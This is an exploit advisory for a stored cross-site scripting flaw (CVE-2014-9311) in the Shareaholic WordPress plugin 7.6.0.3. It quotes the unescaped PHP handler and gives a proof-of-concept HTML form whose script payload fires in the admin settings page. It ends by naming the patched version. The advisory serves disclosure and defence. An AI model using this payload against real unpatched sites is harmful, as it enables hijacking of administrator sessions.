# Exploit Title: Shareaholic 7.6.0.3 XSS
# Date: 10-11-2014
# Software Link: https://wordpress.org/plugins/shareaholic/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9311
# Category: webapps
1. Description
ShareaholicAdmin::add_location is accessible for every registered user.
File: shareaholic\shareaholic.php
add_action('wp_ajax_shareaholic_add_location', array('ShareaholicAdmin', 'add_location'));
$_POST['location'] is not escaped.
File: shareaholic\admin.php
public static function add_location() {
$location = $_POST['location'];
$app_name = $location['app_name'];
ShareaholicUtilities::update_options(array(
'location_name_ids' => array(
$app_name => array(
$location['name'] => $location['id']
),
),
$app_name => array(
$location['name'] => 'on'
)
));
echo json_encode(array(
'status' => "successfully created a new {$location['app_name']} location",
'id' => $location['id']
));
die();
}
http://security.szurek.pl/shareaholic-7603-xss.html
2. Proof of Concept
Login as regular user (created using wp-login.php?action=register) then:
<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="shareaholic_add_location">
<input type="hidden" name="location[app_name]" value="recommendations">
<input type="hidden" name="location[name]" value="post_below_content">
XSS: <input type="text" name="location[id]" value="'><script>alert(String.fromCharCode(88,83,83));</script>">
<input type="submit" value="Hack!">
</form>
XSS will be visible for admin:
http://wordpress-install/wp-admin/admin.php?page=shareaholic-settings
3. Solution:
Update to version 7.6.1.0
https://downloads.wordpress.org/plugin/shareaholic.7.6.1.0.zip
https://blog.shareaholic.com/security-update-shareaholic-wordpress-plugin/
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